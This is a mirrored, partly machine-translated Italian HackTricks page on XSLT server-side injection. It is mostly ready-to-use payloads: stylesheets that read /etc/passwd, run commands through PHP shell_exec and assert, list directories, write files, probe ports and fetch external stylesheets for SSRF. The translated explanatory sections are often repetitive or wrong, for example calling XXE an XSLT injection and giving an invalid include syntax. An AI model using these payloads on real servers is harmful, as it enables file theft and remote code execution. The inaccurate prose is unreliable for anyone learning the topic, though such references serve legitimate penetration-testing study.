Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
Translator workflow 99e7865a3e Translated to Italian
2024-02-10 13:03:23 +00:00

33 KiB
Raw Blame History

Iniezione lato server XSLT (Extensible Stylesheet Language Transformations)

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Informazioni di base

XSLT è una tecnologia utilizzata per trasformare documenti XML in diversi formati. Esistono tre versioni: 1, 2 e 3, con la versione 1 che viene utilizzata più comunemente. Il processo di trasformazione può essere eseguito sia sul server che nel browser.

I framework più utilizzati includono:

  • Libxslt di Gnome,
  • Xalan di Apache,
  • Saxon di Saxonica.

Per sfruttare le vulnerabilità associate a XSLT, è necessario che i tag xsl siano memorizzati sul lato server, seguiti dall'accesso a quel contenuto. Un esempio di tale vulnerabilità è documentato nella seguente fonte: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Esempio - Tutorial

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java

{% code title="xml.xml" %}

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>

{% code title="xsl.xsl" %}

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

Esegui:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

Impronta digitale

{% code title="detection.xsl" %}

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

E esegui

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Leggi File Locale

{% code title="read.xsl" %}

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

SSRF (Server-Side Request Forgery) è una vulnerabilità che consente a un attaccante di forzare un'applicazione a fare richieste a risorse esterne, inclusi server all'interno della rete interna. Questo può essere sfruttato per eseguire attacchi di scansione di porte, accedere a servizi interni non autorizzati o eseguire attacchi di phishing.

Come funziona SSRF?

L'attaccante sfrutta un'applicazione vulnerabile che accetta input dall'utente e lo utilizza per fare richieste HTTP. L'attaccante inserisce un URL malevolo che punta a una risorsa interna o esterna. L'applicazione, senza adeguati controlli, esegue la richiesta verso l'URL fornito dall'attaccante.

Esempi di SSRF

Ecco alcuni esempi di come un attaccante può sfruttare una vulnerabilità SSRF:

  1. Scansione di porte: l'attaccante può utilizzare SSRF per eseguire una scansione delle porte interne alla rete, cercando di individuare servizi vulnerabili o esposti.

  2. Accesso a servizi interni: l'attaccante può utilizzare SSRF per accedere a servizi interni non autorizzati, come database o server di file.

  3. Attacchi di phishing: l'attaccante può utilizzare SSRF per eseguire attacchi di phishing, facendo apparire che la richiesta provenga da un server attendibile all'interno della rete.

Come prevenire SSRF?

Per prevenire SSRF, è importante seguire le seguenti best practice:

  1. Validazione dell'input: verificare che l'URL fornito dall'utente sia valido e consenta solo richieste verso risorse autorizzate.

  2. Whitelist degli URL: creare una whitelist di URL autorizzati e consentire solo richieste verso questi URL.

  3. Limitare i permessi: limitare i permessi dell'applicazione in modo che non possa accedere a risorse interne non autorizzate.

  4. Utilizzare proxy: utilizzare un proxy per filtrare le richieste in uscita e bloccare quelle che puntano a risorse non autorizzate.

Conclusioni

SSRF è una vulnerabilità critica che può consentire a un attaccante di eseguire attacchi dannosi all'interno di una rete. È importante prendere le misure necessarie per prevenire e mitigare questa vulnerabilità, come la validazione dell'input e l'implementazione di whitelist degli URL autorizzati.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Versioni

Potrebbero esserci più o meno funzioni a seconda della versione XSLT utilizzata:

Fingerprint

Carica questo e ottieni informazioni

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

SSRF (Server-Side Request Forgery) è una vulnerabilità che consente a un attaccante di forzare un'applicazione a fare richieste a risorse esterne, inclusi server all'interno della rete interna. Questo può essere sfruttato per eseguire attacchi di scansione di porte, accedere a servizi interni non autorizzati o eseguire attacchi di phishing.

Come funziona SSRF?

L'attaccante sfrutta un'applicazione vulnerabile che accetta input dall'utente e lo utilizza per fare richieste HTTP. L'attaccante inserisce un URL malevolo che punta a una risorsa interna o esterna. L'applicazione, senza adeguati controlli, esegue la richiesta verso l'URL fornito dall'attaccante.

Esempi di SSRF

Ecco alcuni esempi di come un attaccante può sfruttare una vulnerabilità SSRF:

  1. Scansione di porte: l'attaccante può utilizzare SSRF per eseguire una scansione delle porte interne alla rete, cercando di individuare servizi vulnerabili o esposti.

  2. Accesso a servizi interni: l'attaccante può utilizzare SSRF per accedere a servizi interni non autorizzati, come database o server di file.

  3. Attacchi di phishing: l'attaccante può utilizzare SSRF per eseguire attacchi di phishing, facendo apparire che la richiesta provenga da un server attendibile all'interno della rete.

Come prevenire SSRF?

Per prevenire SSRF, è importante seguire le seguenti best practice:

  1. Validazione dell'input: verificare che l'URL fornito dall'utente sia valido e consenta solo richieste verso risorse autorizzate.

  2. Whitelist degli URL: creare una whitelist di URL autorizzati e consentire solo richieste verso questi URL.

  3. Limitare i permessi: limitare i permessi dell'applicazione in modo che non possa accedere a risorse interne non autorizzate.

  4. Utilizzare proxy: utilizzare un proxy per filtrare le richieste in uscita e impedire l'accesso a risorse non autorizzate.

Conclusioni

SSRF è una vulnerabilità critica che può consentire a un attaccante di eseguire attacchi dannosi all'interno di un'applicazione. È importante prendere le misure necessarie per prevenire e mitigare questa vulnerabilità, come la validazione dell'input e l'implementazione di whitelist degli URL autorizzati.

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Iniezione di Javascript

L'iniezione di Javascript è una tecnica di hacking che sfrutta le vulnerabilità presenti nelle applicazioni web per eseguire codice Javascript non autorizzato sul lato client. Questo tipo di attacco può consentire a un hacker di rubare informazioni sensibili, modificare il comportamento dell'applicazione o eseguire azioni dannose.

Come funziona l'iniezione di Javascript

L'iniezione di Javascript avviene quando un'applicazione web non valida o non filtra correttamente l'input fornito dagli utenti. Un hacker può sfruttare questa vulnerabilità inserendo del codice Javascript malevolo all'interno dei dati inviati all'applicazione.

Quando l'applicazione elabora l'input dell'utente, il codice Javascript viene eseguito sul browser del client, consentendo all'hacker di ottenere il controllo sulle funzionalità dell'applicazione.

Possibili conseguenze dell'iniezione di Javascript

Le conseguenze dell'iniezione di Javascript possono essere gravi. Un hacker potrebbe sfruttare questa tecnica per:

  • Rubare informazioni sensibili come password, dati personali o informazioni finanziarie.
  • Modificare il comportamento dell'applicazione, ad esempio alterando i dati visualizzati o eseguendo azioni non autorizzate.
  • Eseguire attacchi di phishing, in cui l'utente viene ingannato per inserire informazioni sensibili su una pagina web malevola.
  • Diffondere malware o ransomware sul dispositivo dell'utente.

Come proteggersi dall'iniezione di Javascript

Per proteggersi dall'iniezione di Javascript, è importante seguire le migliori pratiche di sicurezza per lo sviluppo delle applicazioni web, come:

  • Validare e filtrare correttamente l'input dell'utente per evitare l'esecuzione di codice non autorizzato.
  • Utilizzare librerie e framework sicuri che offrono funzionalità di protezione contro l'iniezione di codice.
  • Implementare controlli di sicurezza come la validazione dei dati di input, l'escape dei caratteri speciali e la limitazione dei privilegi dell'utente.
  • Mantenere l'applicazione web aggiornata con le ultime patch di sicurezza.

Inoltre, è consigliabile effettuare regolarmente test di sicurezza e penetration testing per identificare e correggere eventuali vulnerabilità presenti nell'applicazione.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Elenco delle directory (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

L'iniezione XSLT (Extensible Stylesheet Language Transformations) è una tecnica di attacco che sfrutta la vulnerabilità di un'applicazione web che elabora file XML tramite fogli di stile XSLT. Questa tecnica consente a un attaccante di eseguire codice arbitrario sul server web.

L'assert (var_dump + scandir + false) è un metodo specifico di iniezione XSLT che sfrutta le funzioni var_dump e scandir per ottenere informazioni sul server e sul file system. L'obiettivo principale di questa tecnica è raccogliere informazioni sensibili che possono essere utilizzate per ulteriori attacchi.

Per eseguire questa tecnica, l'attaccante deve essere in grado di caricare un file XML contenente il payload XSLT sul server web vulnerabile. Il payload XSLT sfrutta la funzione var_dump per visualizzare le informazioni sul server e la funzione scandir per elencare i file presenti nel file system.

L'uso di false alla fine del payload XSLT è importante per evitare la visualizzazione dei risultati dell'elenco dei file. In questo modo, l'attaccante può ottenere le informazioni desiderate senza rivelare la presenza di un'iniezione XSLT.

È importante notare che l'assert (var_dump + scandir + false) è solo una delle molte varianti di iniezione XSLT possibili. Gli attaccanti possono adattare il payload XSLT in base alle specifiche esigenze e alle vulnerabilità dell'applicazione web target.

Per proteggere un'applicazione web da un attacco di iniezione XSLT, è consigliabile validare e filtrare correttamente i dati di input XML, limitare i privilegi dell'utente del server web e mantenere il software sempre aggiornato con le ultime patch di sicurezza.

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

Leggere file

Interno - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Interno - XXE

L'iniezione di XSLT lato server (XXE) è una vulnerabilità che consente a un attaccante di eseguire codice arbitrario sul server utilizzando un documento XML malformato. Questa vulnerabilità sfrutta la funzionalità di elaborazione degli stili XSLT per eseguire attacchi di tipo XXE.

Come funziona l'XXE

L'XXE sfrutta la capacità di un'applicazione di elaborare documenti XML esterni. Un attaccante può inserire un'entità esterna nel documento XML, che viene poi elaborata dal server. Questa entità esterna può essere utilizzata per accedere a risorse interne al server, come file di sistema o servizi di rete.

Esempio di attacco XXE

Un esempio di attacco XXE potrebbe essere l'inserimento di un'entità esterna che richiama un file di sistema sensibile, come ad esempio /etc/passwd. L'attaccante può quindi ottenere informazioni sensibili, come gli account degli utenti presenti nel sistema.

Come prevenire l'XXE

Per prevenire l'XXE, è necessario validare e filtrare attentamente i dati di input XML. È inoltre consigliabile disabilitare la funzionalità di elaborazione degli stili XSLT se non è strettamente necessaria per l'applicazione.

Conclusioni

L'XXE è una vulnerabilità comune che può consentire a un attaccante di eseguire codice arbitrario sul server. È importante prendere le misure necessarie per prevenire questa vulnerabilità, come la validazione e il filtraggio dei dati di input XML.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Attraverso HTTP

XSLT Server-Side Injection (XSSI) is a technique that allows an attacker to inject malicious XSLT code into a vulnerable server-side application. This can lead to various security vulnerabilities, such as information disclosure, remote code execution, and server-side request forgery.

XSSI attacks typically occur when an application processes user-supplied XML data without proper validation or sanitization. The attacker can craft a specially crafted XML payload that includes malicious XSLT code. When the server-side application processes this payload, it interprets the XSLT code and executes it, leading to the desired attack.

To perform an XSSI attack, the attacker needs to identify a vulnerable server-side application that processes XML data. This can be done through various means, such as manual inspection, automated scanning tools, or by analyzing the application's behavior.

Once a vulnerable application is identified, the attacker can proceed with crafting a malicious XML payload that includes the desired XSLT code. The payload is then sent to the server-side application through an HTTP request.

The server-side application processes the XML payload and interprets the embedded XSLT code. This can result in various consequences, depending on the nature of the XSLT code and the application's functionality. For example, an attacker can use XSLT code to extract sensitive information from the server's filesystem, execute arbitrary commands, or perform other malicious actions.

To mitigate XSSI attacks, it is essential to implement proper input validation and sanitization techniques. All user-supplied XML data should be thoroughly validated and sanitized before being processed by the server-side application. Additionally, server-side applications should be kept up to date with the latest security patches to prevent known vulnerabilities.

In conclusion, XSSI attacks can pose significant security risks to server-side applications that process XML data. By understanding the techniques used in XSSI attacks and implementing appropriate security measures, organizations can protect their applications from these types of vulnerabilities.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Interno (funzione PHP)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

Scansione delle porte

La scansione delle porte è una tecnica utilizzata per identificare le porte aperte su un sistema o una rete. Questo processo viene eseguito inviando pacchetti di rete a una serie di porte e analizzando le risposte ricevute. La scansione delle porte può essere utilizzata per identificare servizi in ascolto su un sistema, individuare vulnerabilità o determinare la configurazione di una rete.

Esistono diversi tipi di scansione delle porte, tra cui:

  • Scansione TCP: questa tecnica coinvolge l'invio di pacchetti TCP a una serie di porte e l'analisi delle risposte ricevute. Le porte possono essere classificate come aperte, chiuse o filtrate in base alla risposta ricevuta.
  • Scansione UDP: simile alla scansione TCP, ma coinvolge l'invio di pacchetti UDP invece di pacchetti TCP. Poiché UDP è un protocollo senza connessione, la scansione delle porte UDP può essere più complessa.
  • Scansione SYN: questa tecnica coinvolge l'invio di pacchetti SYN a una serie di porte e l'analisi delle risposte ricevute. Le porte possono essere classificate come aperte, chiuse o filtrate in base alla risposta ricevuta.
  • Scansione XMAS: questa tecnica coinvolge l'invio di pacchetti con i flag TCP FIN, URG e PSH impostati a una serie di porte e l'analisi delle risposte ricevute. Le porte possono essere classificate come aperte, chiuse o filtrate in base alla risposta ricevuta.

La scansione delle porte può essere utilizzata come parte di un processo di penetration testing per identificare potenziali punti deboli nella sicurezza di un sistema o di una rete. Tuttavia, è importante notare che la scansione delle porte senza autorizzazione può essere illegale e violare la privacy e la sicurezza delle persone coinvolte. Pertanto, è fondamentale ottenere il consenso appropriato prima di eseguire una scansione delle porte.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Scrivere su un file

XSLT 2.0

In XSLT 2.0, it is possible to write content to a file using the xsl:result-document element. This element allows you to specify the URI of the file you want to write to, as well as the content you want to write.

To write content to a file, you can use the following syntax:

<xsl:result-document href="file:///path/to/file.txt">
    <!-- Content to write -->
</xsl:result-document>

In the href attribute, you need to specify the URI of the file you want to write to. This can be an absolute or relative path. The content you want to write should be placed inside the xsl:result-document element.

For example, to write the text "Hello, world!" to a file named output.txt, you can use the following XSLT code:

<xsl:result-document href="file:///path/to/output.txt">
    <xsl:text>Hello, world!</xsl:text>
</xsl:result-document>

When the XSLT transformation is executed, the specified content will be written to the specified file.

It is important to note that the xsl:result-document element is only available in XSLT 2.0 and later versions. If you are using an earlier version of XSLT, you will need to use a different approach to write content to a file.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Estensione Xalan-J

Xalan-J è un'implementazione di XSLT (Extensible Stylesheet Language Transformations) in Java. Xalan-J fornisce un'ampia gamma di funzionalità aggiuntive, chiamate estensioni, che consentono di estendere le capacità di trasformazione di XSLT.

Le estensioni Xalan-J possono essere utilizzate per eseguire operazioni avanzate durante la trasformazione di un documento XML. Queste estensioni consentono di manipolare i dati, eseguire calcoli complessi e interagire con altre risorse esterne.

Per utilizzare le estensioni Xalan-J, è necessario definire un namespace per le estensioni e importare la classe che implementa l'estensione desiderata. Una volta importata l'estensione, è possibile utilizzare le sue funzionalità all'interno del foglio di stile XSLT.

Le estensioni Xalan-J offrono un'ampia gamma di funzionalità, tra cui la manipolazione di stringhe, la gestione delle date, la crittografia, l'accesso a database e molto altro ancora. Queste estensioni possono essere utili durante un test di penetrazione per eseguire operazioni avanzate e ottenere informazioni sensibili dal sistema target.

È importante notare che l'utilizzo delle estensioni Xalan-J può comportare rischi di sicurezza. È fondamentale comprendere le implicazioni di sicurezza e utilizzare le estensioni in modo responsabile durante un test di penetrazione.

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Includere XSL esterni

Sometimes, when performing server-side XSLT injection, it may be necessary to include external XSL files in order to achieve the desired result. This can be done by using the document() function in XSLT.

The document() function allows you to access external XML or XSL files and use their contents in your XSLT transformation. By specifying the path to the external file as the argument to the document() function, you can include its contents in your XSLT stylesheet.

For example, let's say you have an external XSL file called payload.xsl that contains malicious code. You can include this file in your XSLT stylesheet by using the following syntax:

<xsl:include href="document('payload.xsl')"/>

By including the external XSL file in this way, you can execute the malicious code contained within it during the XSLT transformation process.

It's important to note that including external XSL files may require certain permissions or access rights, depending on the server configuration. Additionally, be cautious when including external files, as they may contain malicious code that could compromise the security of the server or the application being tested.

<xsl:include href="http://extenal.web/external.xsl"/>

<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Esegui codice

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Eseguire codice utilizzando altri framework nel PDF

Altre lingue

In questa pagina puoi trovare esempi di RCE in altre lingue: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Accedere alle funzioni statiche PHP dalle classi

La seguente funzione chiamerà il metodo statico stringToUrl della classe XSL:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

(Example da http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

Altri Payloads

Elenco di Rilevamento Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!